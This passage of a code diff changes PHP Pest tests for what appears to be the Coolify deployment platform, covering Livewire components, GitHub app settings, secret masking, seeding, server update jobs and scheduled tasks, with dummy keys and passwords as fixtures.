it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
@@ -67,7 +221,65 @@ it('reloads the mysql database model when refreshing so ssl controls follow the
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(MysqlGeneral::class, ['database' => $database])
|
||||
$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
$component->call('refresh')
|
||||
->assertSee('Database should be stopped to change this settings.');
|
||||
});
|
||||
|
||||
it('does not clobber server form text inputs when sentinel restarts', function () {
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'persisted-server-name',
|
||||
]);
|
||||
|
||||
$component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
|
||||
->set('sentinelToken', 'user-was-typing-this-token');
|
||||
|
||||
$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
|
||||
|
||||
expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
|
||||
});
|
||||
|
||||
it('does not clobber server form text inputs when server validation completes', function () {
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'persisted-server-name',
|
||||
]);
|
||||
|
||||
$component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
|
||||
->set('name', 'user-was-typing-here')
|
||||
->set('ip', '203.0.113.42');
|
||||
|
||||
$component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
|
||||
|
||||
expect($component->get('name'))->toBe('user-was-typing-here')
|
||||
->and($component->get('ip'))->toBe('203.0.113.42');
|
||||
});
|
||||
|
||||
it('shows the redis ssl gate hint after the sibling is refreshed', function () {
|
||||
$server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first();
|
||||
$project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandaloneRedis::create([
|
||||
'name' => 'test-redis',
|
||||
'image' => 'redis:7',
|
||||
'redis_password' => 'password',
|
||||
'redis_username' => 'default',
|
||||
'status' => 'exited:unhealthy',
|
||||
'enable_ssl' => true,
|
||||
'is_log_drain_enabled' => false,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
|
||||
->assertDontSee('Database should be stopped to change this settings.');
|
||||
|
||||
$database->fill(['status' => 'running:healthy'])->save();
|
||||
|
||||
@@ -94,6 +94,11 @@ it('scopes scroll teardown to the component so a stale loop cannot leak across d
|
||||
->not->toContain("document.getElementById('logsContainer')")
|
||||
// morph.updated hook only acts on this component's own DOM.
|
||||
->toContain('this.$root.contains(el)')
|
||||
// Global Livewire hook is unregistered when Alpine tears down.
|
||||
->toContain('morphUpdatedCleanup: null')
|
||||
->toContain("this.morphUpdatedCleanup = Livewire.hook('morph.updated'")
|
||||
->toContain("typeof this.morphUpdatedCleanup === 'function'")
|
||||
->toContain('this.morphUpdatedCleanup()')
|
||||
// Continuation timeout is tracked so it can be cancelled.
|
||||
->toContain('scrollTimeout');
|
||||
});
|
||||
|
||||
@@ -127,7 +127,7 @@ describe('GitHub Private Repository Component', function () {
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
test('loadRepositories does not mint tokens for another teams system wide github app', function () {
|
||||
test('mount lists another teams system wide github app', function () {
|
||||
$victimTeam = Team::factory()->create();
|
||||
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
|
||||
$systemWideGithubApp = GithubApp::create([
|
||||
@@ -147,13 +147,43 @@ describe('GitHub Private Repository Component', function () {
|
||||
'is_system_wide' => true,
|
||||
]);
|
||||
|
||||
Http::fake();
|
||||
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']);
|
||||
|
||||
expect(fn () => Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
expect($component->get('github_apps')->pluck('id')->all())
|
||||
->toContain($this->githubApp->id)
|
||||
->toContain($systemWideGithubApp->id);
|
||||
});
|
||||
|
||||
test('loadRepositories can use another teams system wide github app', function () {
|
||||
$victimTeam = Team::factory()->create();
|
||||
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
|
||||
$systemWideGithubApp = GithubApp::create([
|
||||
'name' => 'System Wide GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 54321,
|
||||
'installation_id' => 67890,
|
||||
'client_id' => 'system-client-id',
|
||||
'client_secret' => 'system-client-secret',
|
||||
'webhook_secret' => 'system-webhook-secret',
|
||||
'private_key_id' => $victimPrivateKey->id,
|
||||
'team_id' => $victimTeam->id,
|
||||
'is_public' => false,
|
||||
'is_system_wide' => true,
|
||||
]);
|
||||
$repos = [
|
||||
['id' => 1, 'name' => 'system-repo', 'owner' => ['login' => 'testuser']],
|
||||
];
|
||||
|
||||
fakeGithubHttp($repos);
|
||||
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->call('loadRepositories', $systemWideGithubApp->id)
|
||||
)->toThrow(ModelNotFoundException::class);
|
||||
|
||||
Http::assertNothingSent();
|
||||
->assertSet('current_step', 'repository')
|
||||
->assertSet('total_repositories_count', 1)
|
||||
->assertSet('selected_repository_id', 1);
|
||||
});
|
||||
|
||||
test('github installation token is not stored as public component state', function () {
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
use App\Livewire\Source\Github\Change;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
@@ -19,9 +20,45 @@ beforeEach(function () {
|
||||
// Set current team
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
InstanceSettings::forceCreate([
|
||||
'id' => 0,
|
||||
'fqdn' => null,
|
||||
'public_ipv4' => null,
|
||||
'public_ipv6' => null,
|
||||
]);
|
||||
});
|
||||
|
||||
function validPrivateKey(): string
|
||||
{
|
||||
$key = openssl_pkey_new([
|
||||
'private_key_bits' => 2048,
|
||||
'private_key_type' => OPENSSL_KEYTYPE_RSA,
|
||||
]);
|
||||
|
||||
openssl_pkey_export($key, $privateKey);
|
||||
|
||||
return $privateKey;
|
||||
}
|
||||
|
||||
describe('GitHub Source Change Component', function () {
|
||||
test('all github app form controls declare explicit authorization', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php'));
|
||||
|
||||
preg_match_all(
|
||||
'/<x-forms\.(button|input|select|checkbox)\b(?![^>]*\bcanGate=)[^>]*>/s',
|
||||
$view,
|
||||
$matches,
|
||||
PREG_OFFSET_CAPTURE
|
||||
);
|
||||
|
||||
$missingAuthorization = collect($matches[0])
|
||||
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
|
||||
->all();
|
||||
|
||||
expect($missingAuthorization)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('can mount with newly created github app with null app_id', function () {
|
||||
// Create a GitHub app without app_id (simulating a newly created source)
|
||||
$githubApp = GithubApp::create([
|
||||
@@ -47,10 +84,69 @@ describe('GitHub Source Change Component', function () {
|
||||
->assertSet('privateKeyId', null);
|
||||
});
|
||||
|
||||
test('defaults webhook endpoint to app url when it is the first available endpoint', function () {
|
||||
config(['app.url' => 'http://localhost:8000']);
|
||||
|
||||
InstanceSettings::findOrFail(0)->update([
|
||||
'fqdn' => null,
|
||||
'public_ipv4' => null,
|
||||
'public_ipv6' => null,
|
||||
]);
|
||||
|
||||
$githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
|
||||
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
|
||||
->test(Change::class)
|
||||
->assertSuccessful()
|
||||
->assertSet('webhook_endpoint', 'http://localhost:8000');
|
||||
});
|
||||
|
||||
test('custom webhook endpoint is selected explicitly with a checkbox', function () {
|
||||
config(['app.url' => 'http://localhost:8000']);
|
||||
|
||||
InstanceSettings::findOrFail(0)->update([
|
||||
'fqdn' => 'http://staging.example.com',
|
||||
'public_ipv4' => '84.1.202.183',
|
||||
'public_ipv6' => null,
|
||||
]);
|
||||
|
||||
$githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
]);
|
||||
|
||||
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
|
||||
->test(Change::class)
|
||||
->assertSuccessful()
|
||||
->assertSet('use_custom_webhook_endpoint', false)
|
||||
->set('custom_webhook_endpoint', 'https://staging.example.com')
|
||||
->set('use_custom_webhook_endpoint', true)
|
||||
->assertSet('webhook_endpoint', 'http://staging.example.com')
|
||||
->assertSet('custom_webhook_endpoint', 'https://staging.example.com')
|
||||
->assertSet('use_custom_webhook_endpoint', true)
|
||||
->assertSee('Use custom webhook endpoint')
|
||||
->assertSee('Selected endpoint')
|
||||
->assertSee('Custom endpoint')
|
||||
->assertSee('createGithubApp(webhookEndpoint, useCustomWebhookEndpoint, customWebhookEndpoint');
|
||||
});
|
||||
|
||||
test('can mount with fully configured github app', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => 'test-private-key-content',
|
||||
'private_key' => validPrivateKey(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
@@ -84,7 +180,7 @@ describe('GitHub Source Change Component', function () {
|
||||
test('can update github app from null to valid values', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => 'test-private-key-content',
|
||||
'private_key' => validPrivateKey(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
@@ -157,8 +253,8 @@ describe('GitHub Source Change Component', function () {
|
||||
|
||||
// Verify the database was updated
|
||||
$githubApp->refresh();
|
||||
expect($githubApp->app_id)->toBe('1234567890');
|
||||
expect($githubApp->installation_id)->toBe('1234567890');
|
||||
expect($githubApp->app_id)->toBe(1234567890);
|
||||
expect($githubApp->installation_id)->toBe(1234567890);
|
||||
});
|
||||
|
||||
test('checkPermissions validates required fields', function () {
|
||||
@@ -179,6 +275,8 @@ describe('GitHub Source Change Component', function () {
|
||||
->assertSuccessful()
|
||||
->call('checkPermissions')
|
||||
->assertDispatched('error', function ($event, $message) {
|
||||
$message = is_array($message) ? implode(' ', $message) : $message;
|
||||
|
||||
return str_contains($message, 'App ID') && str_contains($message, 'Private Key');
|
||||
});
|
||||
});
|
||||
@@ -202,6 +300,8 @@ describe('GitHub Source Change Component', function () {
|
||||
->assertSuccessful()
|
||||
->call('checkPermissions')
|
||||
->assertDispatched('error', function ($event, $message) {
|
||||
$message = is_array($message) ? implode(' ', $message) : $message;
|
||||
|
||||
return str_contains($message, 'Private Key not found');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -126,8 +126,7 @@ it('does not render environment variable secret values', function () {
|
||||
|
||||
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSee('API_TOKEN')
|
||||
->assertSee('changed')
|
||||
->assertSee('Set')
|
||||
->assertSee('••••••••')
|
||||
->assertDontSee('Hidden')
|
||||
->assertDontSee('old-secret')
|
||||
->assertDontSee('new-secret');
|
||||
@@ -150,9 +149,9 @@ it('renders added environment variables as set without exposing secret values',
|
||||
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSee('API_TOKEN')
|
||||
->assertSee('From')
|
||||
->assertSee('Not set')
|
||||
->assertSee('-')
|
||||
->assertSee('To')
|
||||
->assertSee('Set')
|
||||
->assertSee('••••••••')
|
||||
->assertDontSee('Hidden')
|
||||
->assertDontSee('new-secret');
|
||||
});
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Fortify\CreateNewUser;
|
||||
use App\Actions\Proxy\StartProxy;
|
||||
use App\Models\Server;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use Database\Seeders\ProductionSeeder;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('creates the root team before seeding the localhost server and predefined shared variables', function () {
|
||||
config([
|
||||
'broadcasting.default' => 'log',
|
||||
'constants.coolify.is_windows_docker_desktop' => true,
|
||||
]);
|
||||
Queue::fake();
|
||||
StartProxy::shouldRun()->andReturn('OK');
|
||||
|
||||
Server::creating(function (Server $server) {
|
||||
if ((int) $server->getKey() === 0) {
|
||||
expect(Team::find(0))->not->toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
Server::created(function (Server $server) {
|
||||
SslCertificate::create([
|
||||
'server_id' => $server->id,
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'ssl_certificate' => 'certificate',
|
||||
'ssl_private_key' => 'private-key',
|
||||
'valid_until' => now()->addYear(),
|
||||
'is_ca_certificate' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
$this->seed(ProductionSeeder::class);
|
||||
|
||||
$rootTeam = Team::find(0);
|
||||
$localhostServer = Server::find(0);
|
||||
|
||||
expect($rootTeam)->not->toBeNull()
|
||||
->and($localhostServer)->not->toBeNull()
|
||||
->and($localhostServer->team_id)->toBe(0);
|
||||
|
||||
expect(SharedEnvironmentVariable::query()
|
||||
->where('type', 'server')
|
||||
->where('server_id', 0)
|
||||
->where('team_id', 0)
|
||||
->pluck('key')
|
||||
->all()
|
||||
)->toContain('COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME');
|
||||
|
||||
instanceSettings()->update(['is_registration_enabled' => true]);
|
||||
|
||||
$rootUser = app(CreateNewUser::class)->create([
|
||||
'name' => 'Root User',
|
||||
'email' => 'root@example.com',
|
||||
'password' => 'Password123!',
|
||||
'password_confirmation' => 'Password123!',
|
||||
]);
|
||||
|
||||
expect(Team::whereKey(0)->count())->toBe(1)
|
||||
->and($rootUser->teams()->where('team_id', 0)->exists())->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,43 @@
|
||||
<?php
|
||||
|
||||
it('adds profile navigation with an appearance tab and route', function () {
|
||||
$routes = file_get_contents(base_path('routes/web.php'));
|
||||
$profileNavbar = file_get_contents(resource_path('views/components/profile/navbar.blade.php'));
|
||||
$profileView = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));
|
||||
|
||||
expect($routes)
|
||||
->toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')")
|
||||
->and($profileNavbar)
|
||||
->toContain('route(\'profile\')')
|
||||
->toContain('route(\'profile.appearance\')')
|
||||
->toContain('General')
|
||||
->toContain('Appearance')
|
||||
->and($profileView)
|
||||
->toContain('<x-profile.navbar />')
|
||||
->not->toContain('<h1>Profile</h1>\n <div class="subtitle -mt-2">');
|
||||
});
|
||||
|
||||
it('moves appearance preferences to the profile appearance view', function () {
|
||||
$appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php'));
|
||||
|
||||
expect($appearanceView)
|
||||
->toContain('<x-profile.navbar />')
|
||||
->toContain("setTheme('light')")
|
||||
->toContain("setTheme('system')")
|
||||
->toContain("setTheme('dark')")
|
||||
->toContain("setWidth('center')")
|
||||
->toContain("setWidth('full')")
|
||||
->toContain("setZoom('100')")
|
||||
->toContain("setZoom('90')")
|
||||
->toContain('aria-label="Use light theme"')
|
||||
->toContain('aria-label="Use system theme"')
|
||||
->toContain('aria-label="Use dark theme"')
|
||||
->toContain('aria-label="Use centered width"')
|
||||
->toContain('aria-label="Use full width"')
|
||||
->toContain('aria-label="Use 100 percent zoom"')
|
||||
->toContain('aria-label="Use 90 percent zoom"')
|
||||
->toContain('max-w-2xl')
|
||||
->toContain('class="space-y-1.5"')
|
||||
->toContain('gap-1.5')
|
||||
->toContain('px-2 py-1 text-sm');
|
||||
});
|
||||
@@ -1,17 +1,19 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('database last_online_at is updated when status unchanged', function () {
|
||||
test('database last_online_at is not updated when status is unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
$database = createPushUpdatePostgresql($team, [
|
||||
'status' => 'running:healthy',
|
||||
'last_online_at' => now()->subMinutes(5),
|
||||
]);
|
||||
@@ -40,15 +42,13 @@ test('database last_online_at is updated when status unchanged', function () {
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// last_online_at should be updated even though status didn't change
|
||||
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
|
||||
expect((string) $database->last_online_at)->toBe((string) $oldLastOnline);
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database status is updated when container status changes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
$database = createPushUpdatePostgresql($team, [
|
||||
'status' => 'exited',
|
||||
]);
|
||||
|
||||
@@ -79,8 +79,7 @@ test('database status is updated when container status changes', function () {
|
||||
|
||||
test('database is not marked exited when containers list is empty', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
$database = createPushUpdatePostgresql($team, [
|
||||
'status' => 'running:healthy',
|
||||
]);
|
||||
|
||||
@@ -99,3 +98,31 @@ test('database is not marked exited when containers list is empty', function ()
|
||||
// Status should remain running, NOT be set to exited
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
function createPushUpdatePostgresql(Team $team, array $attributes = []): StandalonePostgresql
|
||||
{
|
||||
$lastOnlineAt = $attributes['last_online_at'] ?? null;
|
||||
unset($attributes['last_online_at']);
|
||||
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandalonePostgresql::create(array_merge([
|
||||
'uuid' => (string) str()->uuid(),
|
||||
'name' => 'postgres-'.str()->random(8),
|
||||
'postgres_password' => 'secret',
|
||||
'status' => 'exited',
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'environment_id' => $environment->id,
|
||||
], $attributes));
|
||||
|
||||
if ($lastOnlineAt !== null) {
|
||||
$database->forceFill(['last_online_at' => $lastOnlineAt])->saveQuietly();
|
||||
}
|
||||
|
||||
return $database;
|
||||
}
|
||||
|
||||
@@ -50,6 +50,39 @@ it('does not dispatch storage check when disk usage is below threshold', functio
|
||||
Queue::assertNotPushed(ServerStorageCheckJob::class);
|
||||
});
|
||||
|
||||
it('clears stale storage cache when disk usage drops below threshold', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$storageCacheKey = 'storage-check:'.$server->id;
|
||||
|
||||
Cache::put($storageCacheKey, 85, 600);
|
||||
|
||||
$belowThresholdData = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 45],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $belowThresholdData);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerStorageCheckJob::class);
|
||||
expect(Cache::missing($storageCacheKey))->toBeTrue();
|
||||
|
||||
Queue::fake();
|
||||
|
||||
$aboveThresholdData = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 85],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $aboveThresholdData);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id && $job->percentage === 85;
|
||||
});
|
||||
});
|
||||
|
||||
it('does not dispatch storage check when disk percentage is unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
@@ -4,17 +4,21 @@ use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('containers with empty service subId are skipped', function () {
|
||||
$server = Server::factory()->create();
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
$serviceApp = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'uuid' => (string) str()->uuid(),
|
||||
'name' => 'app-'.str()->random(8),
|
||||
]);
|
||||
|
||||
$data = [
|
||||
@@ -44,12 +48,15 @@ test('containers with empty service subId are skipped', function () {
|
||||
});
|
||||
|
||||
test('containers with valid service subId are processed', function () {
|
||||
$server = Server::factory()->create();
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
$serviceApp = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'uuid' => (string) str()->uuid(),
|
||||
'name' => 'app-'.str()->random(8),
|
||||
]);
|
||||
|
||||
$data = [
|
||||
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use App\Jobs\ScheduledTaskJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('dispatches scheduled tasks across chunks', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
|
||||
Queue::fake();
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'private_key_id' => $privateKey->id,
|
||||
]);
|
||||
$server->settings()->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
'docker_cleanup_frequency' => '0 * * * *',
|
||||
]);
|
||||
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'status' => 'running',
|
||||
]);
|
||||
|
||||
ScheduledTask::factory()
|
||||
->count(101)
|
||||
->create([
|
||||
'team_id' => $team->id,
|
||||
'application_id' => $application->id,
|
||||
'frequency' => '* * * * *',
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
(new ScheduledJobManager)->handle();
|
||||
|
||||
Queue::assertPushed(ScheduledTaskJob::class, 101);
|
||||
});
|
||||
|
||||
it('skips expensive dispatch for non-due schedules while seeding dedup cache', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
Carbon::setTestNow(Carbon::create(2026, 5, 27, 0, 1, 0, 'UTC'));
|
||||
Queue::fake();
|
||||
|
||||
$application = createScheduledTaskApplication();
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'team_id' => $application->environment->project->team_id,
|
||||
'application_id' => $application->id,
|
||||
'frequency' => '0 2 * * *',
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
(new ScheduledJobManager)->handle();
|
||||
|
||||
Queue::assertNotPushed(ScheduledTaskJob::class);
|
||||
expect(Cache::get("scheduled-task:{$task->id}"))->not->toBeNull();
|
||||
});
|
||||
|
||||
it('does not query relationships when constructing scheduled task jobs', function () {
|
||||
$application = createScheduledTaskApplication();
|
||||
|
||||
$task = ScheduledTask::factory()->create([
|
||||
'team_id' => $application->environment->project->team_id,
|
||||
'application_id' => $application->id,
|
||||
'frequency' => '* * * * *',
|
||||
'enabled' => true,
|
||||
])->fresh();
|
||||
|
||||
DB::flushQueryLog();
|
||||
DB::enableQueryLog();
|
||||
|
||||
$job = new ScheduledTaskJob($task);
|
||||
|
||||
expect(DB::getQueryLog())->toBeEmpty()
|
||||
->and($job->queue)->toBe(crons_queue())
|
||||
->and($job->timeout)->toBe(300);
|
||||
});
|
||||
|
||||
function createScheduledTaskApplication(): Application
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'private_key_id' => $privateKey->id,
|
||||
]);
|
||||
$server->settings()->update([
|
||||
'is_reachable' => true,
|
||||
'is_usable' => true,
|
||||
'force_disabled' => false,
|
||||
'docker_cleanup_frequency' => '0 * * * *',
|
||||
]);
|
||||
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'status' => 'running',
|
||||
]);
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\Api\SentinelController;
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
